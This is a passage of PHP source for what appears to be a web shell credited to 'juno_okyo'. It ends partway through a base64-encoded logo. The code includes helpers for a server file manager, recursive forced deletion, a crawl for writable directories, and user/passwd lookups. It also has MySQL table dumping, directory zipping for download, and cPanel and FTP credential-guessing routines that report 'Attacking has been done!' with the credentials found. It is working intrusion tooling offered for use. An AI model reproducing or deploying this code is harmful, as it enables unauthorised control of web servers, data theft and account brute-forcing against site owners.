2157 $content = str_replace(' ', " ", $content);
2158 $content = str_replace("\t", " ", $content);
2159 return $content;
2160}
2161function getChmod($filepath) {
2162 return substr(base_convert(@fileperms($filepath),10,8),-4);
2163}
2164function getPerms($filepath) {
2165 $mode = @fileperms($filepath);
2166 if (($mode & 0xC000) === 0xC000) $type = 's';
2167 elseif (($mode & 0x4000) === 0x4000) $type = 'd';
2168 elseif (($mode & 0xA000) === 0xA000) $type = 'l';
2169 elseif (($mode & 0x8000) === 0x8000) $type = '-';
2170 elseif (($mode & 0x6000) === 0x6000) $type = 'b';
2171 elseif (($mode & 0x2000) === 0x2000) $type = 'c';
2172 elseif (($mode & 0x1000) === 0x1000) $type = 'p';
2173 else $type = '?';
2174 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2175 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2176 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2177 $group['read'] = ($mode & 00040) ? 'r' : '-';
2178 $group['write'] = ($mode & 00020) ? 'w' : '-';
2179 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2180 $world['read'] = ($mode & 00004) ? 'r' : '-';
2181 $world['write'] = ($mode & 00002) ? 'w' : '-';
2182 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2183 if( $mode & 0x800 ) $owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';
2184 if( $mode & 0x400 ) $group['execute'] = ($group['execute']=='x') ? 's' : 'S';
2185 if( $mode & 0x200 ) $world['execute'] = ($world['execute']=='x') ? 't' : 'T';
2186 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
2187}
2188function getUser($filepath) {
2189 if (getFunc('posix_getpwuid')) {
2190 $array = @posix_getpwuid(@fileowner($filepath));
2191 if ($array && is_array($array)) return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
2192 }
2193 return '';
2194}
2195function deltree($deldir) {
2196 $mydir = @dir($deldir);
2197 while($file = $mydir->read()) {
2198 if((is_dir($deldir.'/'.$file)) && ($file != '.') && ($file != '..')) {
2199 @chmod($deldir.'/'.$file,0777);
2200 deltree($deldir.'/'.$file);
2201 }
2202 if (is_file($deldir.'/'.$file)) {
2203 @chmod($deldir.'/'.$file,0777);
2204 @unlink($deldir.'/'.$file);
2205 }
2206 }
2207 $mydir->close();
2208 @chmod($deldir,0777);
2209 return @rmdir($deldir) ? 1 : 0;
2210}
2211function bg() {
2212 global $bgc;
2213 return ($bgc++%2==0) ? 'fout1' : 'fout';
2214}
2215function getPath($scriptpath, $nowpath) {
2216 if ($nowpath == '.') $nowpath = $scriptpath;
2217 $nowpath = str_replace('\\', '/', $nowpath);
2218 $nowpath = str_replace('//', '/', $nowpath);
2219 if (substr($nowpath, -1) != '/') $nowpath = $nowpath.'/';
2220 return $nowpath;
2221}
2222function getUpPath($nowpath) {
2223 $pathdb = explode('/', $nowpath);
2224 $num = count($pathdb);
2225 if ($num > 2) unset($pathdb[$num-1],$pathdb[$num-2]);
2226 $uppath = implode('/', $pathdb).'/';
2227 $uppath = str_replace('//', '/', $uppath);
2228 return $uppath;
2229}
2230
2231// Config
2232function getcfg($varname) {
2233 $result = @get_cfg_var($varname);
2234 if ($result == 0) return 'No';
2235 elseif ($result == 1) return 'Yes';
2236 else return $result;
2237}
2238function getFunc($funName) {
2239 return @function_exists($funName);
2240}
2241function GetList($dir) {
2242 global $dirdata,$j,$nowpath;
2243 !$j && $j=1;
2244 if ($dh = opendir($dir)) {
2245 while ($file = readdir($dh)) {
2246 $f = str_replace('//','/',$dir.'/'.$file);
2247 if($file != '.' && $file != '..' && is_dir($f)) {
2248 if (is_writable($f)) {
2249 $dirdata[$j]['filename'] = str_replace($nowpath,'',$f);
2250 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s',filemtime($f));
2251 $dirdata[$j]['dirchmod'] = getChmod($f);
2252 $dirdata[$j]['dirperm'] = getPerms($f);
2253 $dirdata[$j]['dirlink'] = ue($dir);
2254 $dirdata[$j]['server_link'] = $f;
2255 $dirdata[$j]['client_link'] = ue($f);
2256 $j++;
2257 }
2258 GetList($f);
2259 }
2260 }
2261 closedir($dh);
2262 clearstatcache();
2263 return $dirdata;
2264 } else return array();
2265}
2266function qy($sql) {
2267 $res = $error = '';
2268 if( ! $res = @mysql_query($sql)) return 0;
2269 else if(is_resource($res)) return 1;
2270 else return 2;
2271 return 0;
2272}
2273function q($sql) {
2274 return @mysql_query($sql);
2275}
2276function fr($qy){
2277 mysql_free_result($qy);
2278}
2279function sizecount($fileSize) {
2280 $size = sprintf("%u", $fileSize);
2281 if($size == 0) return '0 bytes';
2282 $sizename = array(' bytes', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
2283 return round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
2284}
2285// Zip
2286class PHPZip{
2287 var $out='';
2288 function PHPZip($dir) {
2289 if (@function_exists('gzcompress')) {
2290 $curdir = getcwd();
2291 if (is_array($dir)) $filelist = $dir;
2292 else
2293 {
2294 $filelist=$this -> GetFileList($dir);//File list
2295 foreach($filelist as $k=>$v) $filelist[] = substr($v,strlen($dir)+1);
2296 }
2297 if (( ! empty($dir))&&( ! is_array($dir))&&(file_exists($dir))) chdir($dir);
2298 else chdir($curdir);
2299 if (count($filelist)>0) {
2300 foreach($filelist as $filename) {
2301 if (is_file($filename)) {
2302 $fd = fopen ($filename, 'r');
2303 $content = @fread ($fd, filesize($filename));
2304 fclose ($fd);
2305 if (is_array($dir)) $filename = basename($filename);
2306 $this -> addFile($content, $filename);
2307 }
2308 }
2309 $this->out = $this -> file();
2310 chdir($curdir);
2311 }
2312 return 1;
2313 }
2314 else return 0;
2315 }
2316 // Show file list
2317 function GetFileList($dir) {
2318 static $a;
2319 if (is_dir($dir)) {
2320 if ($dh = opendir($dir)) {
2321 while ($file = readdir($dh)) {
2322 if($file!='.' && $file!='..') {
2323 $f=$dir .'/'. $file;
2324 if(is_dir($f)) $this->GetFileList($f);
2325 $a[] = $f;
2326 }
2327 }
2328 closedir($dh);
2329 }
2330 }
2331 return $a;
2332 }
2333 var $datasec = array();
2334 var $ctrl_dir = array();
2335 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
2336 var $old_offset = 0;
2337 function unix2DosTime($unixtime = 0) {
2338 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2339 if ($timearray['year'] < 1980) {
2340 $timearray['year'] = 1980;
2341 $timearray['mon'] = 1;
2342 $timearray['mday'] = 1;
2343 $timearray['hours'] = 0;
2344 $timearray['minutes'] = 0;
2345 $timearray['seconds'] = 0;
2346 } // end if
2347 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
2348 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2349 }
2350 function addFile($data, $name, $time = 0) {
2351 $name = str_replace('\\', '/', $name);
2352 $dtime = dechex($this->unix2DosTime($time));
2353 $hexdtime = '\x' . $dtime[6] . $dtime[7]
2354 . '\x' . $dtime[4] . $dtime[5]
2355 . '\x' . $dtime[2] . $dtime[3]
2356 . '\x' . $dtime[0] . $dtime[1];
2357 eval('$hexdtime = "' . $hexdtime . '";');
2358 $fr = "\x50\x4b\x03\x04";
2359 $fr .= "\x14\x00";
2360 $fr .= "\x00\x00";
2361 $fr .= "\x08\x00";
2362 $fr .= $hexdtime;
2363 $unc_len = strlen($data);
2364 $crc = crc32($data);
2365 $zdata = gzcompress($data);
2366 $c_len = strlen($zdata);
2367 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2368 $fr .= pack('V', $crc);
2369 $fr .= pack('V', $c_len);
2370 $fr .= pack('V', $unc_len);
2371 $fr .= pack('v', strlen($name));
2372 $fr .= pack('v', 0);
2373 $fr .= $name;
2374 $fr .= $zdata;
2375 $fr .= pack('V', $crc);
2376 $fr .= pack('V', $c_len);
2377 $fr .= pack('V', $unc_len);
2378 $this -> datasec[] = $fr;
2379 $new_offset = strlen(implode('', $this->datasec));
2380 $cdrec = "\x50\x4b\x01\x02";
2381 $cdrec .= "\x00\x00";
2382 $cdrec .= "\x14\x00";
2383 $cdrec .= "\x00\x00";
2384 $cdrec .= "\x08\x00";
2385 $cdrec .= $hexdtime;
2386 $cdrec .= pack('V', $crc);
2387 $cdrec .= pack('V', $c_len);
2388 $cdrec .= pack('V', $unc_len);
2389 $cdrec .= pack('v', strlen($name));
2390 $cdrec .= pack('v', 0 );
2391 $cdrec .= pack('v', 0 );
2392 $cdrec .= pack('v', 0 );
2393 $cdrec .= pack('v', 0 );
2394 $cdrec .= pack('V', 32 );
2395 $cdrec .= pack('V', $this -> old_offset );
2396 $this -> old_offset = $new_offset;
2397 $cdrec .= $name;
2398 $this -> ctrl_dir[] = $cdrec;
2399 }
2400 function file() {
2401 $data = implode('', $this -> datasec);
2402 $ctrldir = implode('', $this -> ctrl_dir);
2403 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
2404 }
2405}
2406
2407// Dump MySQL
2408function sqldumptable($table, $fp = 0) {
2409 $tabledump = "DROP TABLE IF EXISTS {$table};\n";
2410 $tabledump .= "CREATE TABLE {$table} (\n";
2411 $firstfield = 1;
2412 $fields = q("SHOW FIELDS FROM {$table}");
2413 while ($field = mysql_fetch_array($fields)) {
2414 if ( ! $firstfield) $tabledump .= ",\n";
2415 else $firstfield=0;
2416 $tabledump .= " $field[Field] $field[Type]";
2417 if ( ! empty($field['Default'])) $tabledump .= " DEFAULT '$field[Default]'";
2418 if ($field['Null'] != 'YES') $tabledump .= ' NOT NULL';
2419 if ($field['Extra'] != '') $tabledump .= " $field[Extra]";
2420 }
2421 fr($fields);
2422 $keys = q("SHOW KEYS FROM {$table}");
2423 while ($key = mysql_fetch_array($keys)) {
2424 $kname=$key['Key_name'];
2425 if ($kname != 'PRIMARY' && $key['Non_unique'] == 0) $kname="UNIQUE|{$kname}";
2426 if( ! is_array($index[$kname])) $index[$kname] = array();
2427 $index[$kname][] = $key['Column_name'];
2428 }
2429 fr($keys);
2430 while(list($kname, $columns) = @each($index)) {
2431 $tabledump .= ",\n";
2432 $colnames=implode($columns, ',');
2433 if ($kname == 'PRIMARY') $tabledump .= " PRIMARY KEY ($colnames)";
2434 else
2435 {
2436 if (substr($kname,0,6) == 'UNIQUE') $kname=substr($kname,7);
2437 $tabledump .= " KEY {$kname} ($colnames)";
2438 }
2439 }
2440 $tabledump .= "\n);\n\n";
2441 if ($fp) fwrite($fp,$tabledump);
2442 else echo $tabledump;
2443 $rows = q("SELECT * FROM {$table}");
2444 $numfields = mysql_num_fields($rows);
2445 while ($row = mysql_fetch_array($rows)) {
2446 $tabledump = "INSERT INTO {$table} VALUES(";
2447 $fieldcounter=-1;
2448 $firstfield=1;
2449 while (++$fieldcounter<$numfields) {
2450 if ( ! $firstfield) $tabledump.=', ';
2451 else $firstfield=0;
2452 if ( ! isset($row[$fieldcounter])) $tabledump .= 'NULL';
2453 else $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
2454 }
2455 $tabledump .= ");\n";
2456 if ($fp) fwrite($fp,$tabledump);
2457 else echo $tabledump;
2458 }
2459 fr($rows);
2460 if ($fp) fwrite($fp,"\n");
2461 else echo "\n";
2462}
2463function ue($str){
2464 return urlencode($str);
2465}
2466function p($str){
2467 echo $str . "\n";
2468}
2469function tbhead() {
2470 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2471}
2472function tbfoot(){
2473 p('</table>');
2474}
2475function makehide($name,$value=''){
2476 p("<input id=\"{$name}\" type=\"hidden\" name=\"{$name}\" value=\"{$value}\" />");
2477}
2478function makeinput($arg = array()){
2479 $arg['size'] = ($arg['size'] > 0) ? "size=\"{$arg[size]}\"" : 'size="100"';
2480 $arg['extra'] = ($arg['extra']) ? $arg['extra'] : '';
2481 !$arg['type'] && $arg['type'] = 'text';
2482 $arg['title'] = ($arg['title']) ? $arg['title'].'<br />' : '';
2483 $arg['class'] = ($arg['class']) ? $arg['class'] : 'input';
2484 if ($arg['newline']) p("<p>{$arg[title]}<input class=\"{$arg['class']}\" name=\"{$arg['name']}\" id=\"{$arg['name']}\" value=\"{$arg['value']}\" type=\"{$arg['type']}\" {$arg['size']} {$arg['extra']} /></p>");
2485 else p("{$arg['title']}<input class=\"{$arg['class']}\" name=\"{$arg['name']}\" id=\"{$arg['name']}\" value=\"{$arg['value']}\" type=\"{$arg['type']}\" {$arg['size']} {$arg['extra']} />");
2486}
2487function makeselect($arg = array()){
2488 if ($arg['onchange']) $onchange = 'onchange="'.$arg['onchange'].'"';
2489 $arg['title'] = ($arg['title']) ? $arg['title'] : '';
2490 if ($arg['newline']) p('<p>');
2491 p("{$arg['title']} <select class=\"input\" id=\"{$arg['name']}\" name=\"{$arg['name']}\" {$onchange}>");
2492 if (is_array($arg['option'])) {
2493 if ($arg['nokey']) {
2494 foreach ($arg['option'] as $value) {
2495 if ($arg['selected']==$value) p("<option value=\"{$value}\" selected>{$value}</option>");
2496 else p("<option value=\"{$value}\">{$value}</option>");
2497 }
2498 } else {
2499 foreach ($arg['option'] as $key=>$value) {
2500 if ($arg['selected']==$key) p("<option value=\"{$key}\" selected>{$value}</option>");
2501 else p("<option value=\"{$key}\">{$value}</option>");
2502 }
2503 }
2504 }
2505 p('</select>');
2506 if ($arg['newline']) p('</p>');
2507}
2508function formhead($arg = array()) {
2509 !$arg['method'] && $arg['method'] = 'post';
2510 !$arg['action'] && $arg['action'] = SELF;
2511 $arg['target'] = ($arg['target']) ? "target=\"{$arg['target']}\"" : '';
2512 !$arg['name'] && $arg['name'] = 'form1';
2513 p("<form name=\"{$arg['name']}\" id=\"{$arg['name']}\" action=\"{$arg['action']}\" method=\"{$arg['method']}\" {$arg['target']}>");
2514 if ($arg['title']) p('<h2>'.$arg['title'].' »</h2>');
2515}
2516function maketext($arg = array()) {
2517 !$arg['cols'] && $arg['cols'] = 100;
2518 !$arg['rows'] && $arg['rows'] = 25;
2519 $arg['title'] = ($arg['title']) ? $arg['title'].'<br />' : '';
2520 p("<p>{$arg['title']}<textarea class=\"area\" id=\"{$arg['name']}\" name=\"{$arg['name']}\" cols=\"{$arg['cols']}\" rows=\"{$arg['rows']}\" {$arg['extra']}>{$arg['value']}</textarea></p>");
2521}
2522function formfoot() {
2523 p('</form>');
2524}
2525function formfooter($value = 'Submit', $name = '') {
2526 !$name && $name = 'submit';
2527 p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="'.$value.'" /></p>');
2528 formfoot();
2529}
2530function check_cURL() {
2531 if ( ! extension_loaded('curl')) {
2532 p('<p>Error: cURL has been disabled.</p>');
2533 exit;
2534 } else return 1;
2535}
2536function cpanel_check($host,$user,$pass,$timeout) {
2537 check_cURL();
2538 $ch = curl_init();
2539 curl_setopt($ch, CURLOPT_URL, "http://{$host}:2082");
2540 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2541 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2542 curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
2543 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2544 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2545 $data = curl_exec($ch);
2546 if (curl_errno($ch) == 28) {
2547 echo '<strong>Error: Connection timed out, make confidence about validation of target!</strong>';
2548 exit;
2549 } elseif ( curl_errno($ch) == 0 ) p("<strong>[ juno_okyo@j2team.pro ]# Attacking has been done!</a> Username: <font color='#F00'>{$user}</font> / Password: <font color='#F00'>{$pass}</font></strong><br />");
2550 curl_close($ch);
2551}
2552function ftp_check($host,$user,$pass,$timeout) {
2553 check_cURL();
2554 $ch = curl_init();
2555 curl_setopt($ch, CURLOPT_URL, "ftp://{$host}");
2556 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2557 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2558 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
2559 curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
2560 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2561 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2562 $data = curl_exec($ch);
2563 if ( curl_errno($ch) == 28 ) {
2564 echo '<strong>Error: Connection timed out, make confidence about validation of target!</strong>';
2565 exit;
2566 } elseif ( curl_errno($ch) == 0 ) p("<strong>[ juno_okyo@j2team.pro ]# Attacking has been done! Username: <font color='#F00'>{$user}</font> / Password: <font color='#F00'>{$pass}</font> => <a href=\"http://{$user}:{$pass}@{$host}:2082\" target=\"_blank\">Login</a></strong><br />");
2567 curl_close($ch);
2568}
2569function text_info($on = 1) {
2570 $code = ($on) ? '<font color="#0F0">ON</font>' : '<font color="#F00">OFF</font>';
2571 return '<strong>'.$code.'</strong>';
2572}
2573function check_windows() {
2574 if (IS_WIN) {
2575 header('Location: ' . SELF);
2576 exit;
2577 }
2578}
2579function check_str($string, $str) {
2580 return (strpos($string, $str) !== FALSE);
2581}
2582function shell_image() {
2583 $img = array();
2584 $img['logo'] = 'R0lGODlheAB4APf2AACjAADUAKgUFABnAAD1AADfAADqAABAAAB/AAC/AAAkAAAQAABUAADvAADIAACHAAC8AAA/AADPAABgAAB4AACWAAAwAACfAACwAAAgAACPAACvAABwAABQAFVJCgDpACqUBQABAAD+AAC7AAD5AADwAACrAADeAADoAJ0UEwC0AADrAADzAAC6AABSAAA0AAAXAAAzAAADAArhAQCoAADdAAA6AABNAAAIAAAmAAAEAAAMAAACACCrAz9qCGkwDACIAACbAAD8AACxAACnAABYAAA7AAD2AADFAH4fDxXGAwDTAAC4AADtAADyAACpAAD6AADKAACYAAD9AAB8AAC9AAAoAABhAAB+AAAUAAAZAAAGAADxAACeAJMVEgA9AADbAAB5AAAFAAA1AABBAADBAABsAACcAACgAADcAAC5AADOAADnAAAKAAB0AADXAACmAAATAADWAADNAAC2AAAfAAA5AADkAADDAACSAABOAABeAACFAADuAABvAABkAAAcAADEAABPAADQAABJAAA4AAAPAAB2AAAiAABmAAD4AIgZEEpZCTV+BnMmDQCGAAAWAAAxAAClAAAvAABoAABbAADAAAD0AABqAACOAACUAAANAAA3AAAnAAASAAAbAADsAAA2AACMAACzAACdAAApAAC1AAC+AADgAAC3AADmAACyAABfAADhAAALAABiAABXAABLAAAlAABEAADYAACJAADGAAAeAABKAAB7AAD3AABpAACBAAAtAF48CwAdAACVAACNAADiAABTAABzAAAhAABtAADLAAAOAABRAABWAAByAAAHAABGAADjAACAAABrAABIAADSAACEAACQAAB9AADCAACtAADMAABuAADaAACKAAAVAABCAACuAAAsAAB6AAArAAAjAABFAACqAACZAAAYAAAyAABdAABVAABMAABlAACTAABHAADHAJUWEoYdD0J8CI0YEXgqDgD/AAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/wtYTVAgRGF0YVhNUDw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6Nzc1RDVBRjJDMzAzMTFFM0EyMzZCOUI5OUMxRTlGM0EiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6Nzc1RDVBRjNDMzAzMTFFM0EyMzZCOUI5OUMxRTlGM0EiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo3NzVENUFGMEMzMDMxMUUzQTIzNkI5Qjk5QzFFOUYzQSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo3NzVENUFGMUMzMDMxMUUzQTIzNkI5Qjk5QzFFOUYzQSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PgH//v38+/r5+Pf29fTz8vHw7+7t7Ovq6ejn5uXk4+Lh4N/e3dzb2tnY19bV1NPS0dDPzs3My8rJyMfGxcTDwsHAv769vLu6ubi3trW0s7KxsK+urayrqqmop6alpKOioaCfnp2cm5qZmJeWlZSTkpGQj46NjIuKiYiHhoWEg4KBgH9+fXx7enl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmFgX15dXFtaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQUA/Pj08Ozo5ODc2NTQz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